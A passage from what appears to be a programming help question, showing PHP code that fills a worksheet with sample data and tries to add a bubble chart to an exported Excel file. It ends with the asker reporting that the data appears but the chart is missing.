    $sheet->setCellValue('D1', 'Bubble Size');
        
    // Sample data
    $data = [
      ['Category 1', 10, 20, 30],
      ['Category 2', 15, 25, 40],
      ['Category 3', 20, 30, 50],
    ];
    foreach ($data as $rowIndex => $rowData) {
      $rowNumber = $rowIndex + 2;
      $sheet->setCellValue('A' . $rowNumber, $rowData[0]);
      $sheet->setCellValue('B' . $rowNumber, $rowData[1]);
      $sheet->setCellValue('C' . $rowNumber, $rowData[2]);
      $sheet->setCellValue('D' . $rowNumber, $rowData[3]);
    }
    $chart = new ExcelChart(
      'BubbleChart', // name
      null, // title
      null, // legend
      null, // xAxisLabel
      null, // yAxisLabel
      null // layout
    );
    $dataSeriesLabels = [
      new DataSeriesValues('String', 'Worksheet!$A$1', null, 1), // Category labels
    ];
    $xValues = [
      new DataSeriesValues('Number', 'Worksheet!$B$2:$B$4', null, 3), // X-axis values
    ];
    $yValues = [
      new DataSeriesValues('Number', 'Worksheet!$C$2:$C$4', null, 3), // Y-axis values
    ];
    $sizeValues = [
      new DataSeriesValues('Number', 'Worksheet!$D$2:$D$4', null, 3), // Bubble size values
    ];
     
    $dataSeries = new DataSeries(
      DataSeries::TYPE_BUBBLECHART, // plotType
      DataSeries::GROUPING_STANDARD, // plotGrouping
      range(0, count($xValues) - 1), // plotOrder
      $dataSeriesLabels, // dataSeriesLabels
      $xValues, // xValues
      $yValues, // yValues
      $sizeValues // sizeValues
    );
    
    $layout = new Layout(['layout' => 'blip', 'manualLayout' => ['w' => 300, 'h' => 200, 'x' => 0, 'y' => 0]]);
    $plotArea = new PlotArea($layout, [$dataSeries]);
    $chart->setPlotArea($plotArea);
        
    $sheet->addChart($chart);
    
    $writer = new Xlsx($spreadsheet);
    $writer->setIncludeCharts(true);
    $writer->save('php://output');
        
    exit();


Once again: The result in Excel file is: data appears but the chart is missing. What is wrong?